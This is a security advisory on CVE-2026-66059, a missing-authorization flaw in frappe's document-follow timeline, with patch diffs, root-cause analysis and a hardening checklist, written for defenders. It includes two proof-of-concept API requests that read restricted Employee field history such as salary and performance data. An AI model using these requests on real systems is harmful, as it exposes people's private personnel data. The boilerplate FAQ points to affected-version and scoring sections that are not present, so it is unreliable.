SECURITY ADVISORY / 01

CVE-2026-66059 Exploit & Vulnerability Analysis

Complete CVE-2026-66059 security advisory with proof of concept (PoC), exploit details, and patch analysis for frappe.

frappe products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An authenticated user with read permission on a document can retrieve field-level changes for any other document in the same DocType, including fields they do not have permission to view.

GET /api/resource/Document%20Follow?fields=["name","ref_doctype","ref_docname","user"]&filters=[["ref_doctype","=","Employee"],["ref_docname","=","EMP-001"]] HTTP/1.1
Host: frappe.example.com
Authorization: Bearer <valid_user_token>
Content-Type: application/json

The attacker observes the Document Follow records for a target document. They then request the timeline with field-change details:

GET /api/method/frappe.desk.form.document_follow.get_message_for_user?ref_doctype=Employee&ref_docname=EMP-001&user=target_user HTTP/1.1
Host: frappe.example.com
Authorization: Bearer <valid_user_token>

The response body includes detailed field-change history for EMP-001, including restricted fields such as salary_band, performance_rating, and background_check_status — fields the attacker has no DocType-level permission to view. The attacker learns sensitive business logic and personal data without explicit field-level ACL grant.


What the Patch Did

Before

## Lines 153–157 (old) — get_message_for_user had no permission validation
for document_follow in latest_document_follows:
    content = get_message(document_follow.ref_docname, document_follow.ref_doctype, frequency, user)
    # ... timeline_items assembled without field permission checks

## Lines 210–215 (old) — child field changes returned without ACL
timeline_items = get_field_changed(change.changed, time, doctype, doc_name, v)
timeline_items = get_row_changed(change.row_changed, time, doctype, doc_name, v)
timeline_items = get_added_row(change.added, time, doctype, doc_name, v)

After

## Lines 159–169 (new) — explicit document read permission check
if not frappe.has_permission(
    document_follow.ref_doctype, "read", doc=document_follow.ref_docname, user=user
):
    frappe.db.delete("Document Follow", {...})
    continue

## Lines 215–218 (new) — user parameter passed to permission-checking functions
timeline_items = get_field_changed(change.changed, time, doctype, doc_name, v, user)
timeline_items = get_row_changed(change.row_changed, time, doctype, doc_name, v, user)
timeline_items = get_added_row(change.added, time, doctype, doc_name, v, user)

## Lines 318–325 (new) — field-level ACL enforcement in get_field_changed
permitted_fieldnames = frappe.get_meta(doctype).get_permitted_fieldnames(
    permission_type="read", user=user
)
for d in changed:
    if d[0] not in permitted_fieldnames:
        continue

The patch introduces two load-bearing security controls: (1) document-level permission check via frappe.has_permission(doctype, "read", doc=doc_name, user=user) before exposing any timeline, and (2) field-level ACL filtering via get_permitted_fieldnames(), which returns only those fields the user is explicitly allowed to read. These are chained: the document permission gates access to the timeline; the field permission filters which changes are visible within that timeline.


Root Cause

CWE-862: Missing Authorization.

The document_follow.py module implements a "follow document" feature that stores and retrieves field-change history. The vulnerability occurs in the message-generation pipeline: when get_message_for_user() is called with a ref_doctype and ref_docname, it fetches all Document Follow records for that document and assembles a changelog without validating whether the requesting user has read permission on the target document or on each field within that document. The user parameter is recorded but never passed to downstream functions (get_field_changed, get_row_changed, get_added_row), so those functions cannot enforce field-level ACLs. An attacker who has read permission on any document of type Employee can call get_message_for_user for any Employee document and retrieve field changes for restricted fields.


Why It Works

The critical line is:

if not frappe.has_permission(
    document_follow.ref_doctype, "read", doc=document_follow.ref_docname, user=user
):

This single frappe.has_permission() call gates the entire timeline. Without it, the loop proceeds unconditionally. The engineer then added the user parameter to get_field_changed(), get_row_changed(), and get_added_row() so that each function could call get_permitted_fieldnames(permission_type="read", user=user) and skip restricted fields. If you removed only the document-level permission check, an attacker could still bypass the field-level filter by calling the lower-level functions directly; if you removed only the field parameter passing, an attacker could still read the timeline, and the field filtering would be ineffective (no user context to check against). The defence is layered: first, is this user allowed to see this document at all? Second, which fields of the changes in that document is this user allowed to see? Both gates must be closed.


Hardening Checklist

  • Always pass the current user context to downstream permission checks. If a function receives a user ID as input, pass it to every permission-checking call; do not rely on implicit global state (frappe.session.user). This prevents an attacker from specifying an arbitrary target user in a query parameter and leaking their view.

  • Implement field-level ACL filtering at the serialization boundary. Before returning document field changes in JSON or HTML, call get_permitted_fieldnames() (or equivalent) and exclude any field not in the result set. This prevents the data layer from leaking columns that the application layer does not intend to expose.

  • Chain document-level and field-level checks in sequence. Deny access to the document first (frappe.has_permission(doctype, "read", doc=...)), then filter fields. Do not filter fields and assume document permission is implied; the logic is easier to audit in the order: gate → filter → return.

  • Add integration tests that assert permission boundaries. Create two users with different field-level ACLs on the same DocType, and verify that User A's timeline call does not leak User B's restricted fields. Test both the happy path (User A sees their own changes to restricted fields) and the attack path (User A requests User B's document and sees nothing).


References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-66059

Frequently asked questions about CVE-2026-66059

What is CVE-2026-66059?

CVE-2026-66059 is a security vulnerability identified in frappe. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2026-66059?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2026-66059. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2026-66059 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting frappe. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2026-66059?

CVE-2026-66059 affects frappe. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2026-66059?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for frappe.

What is the CVSS score for CVE-2026-66059?

The severity rating and CVSS scoring for CVE-2026-66059 affecting frappe is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.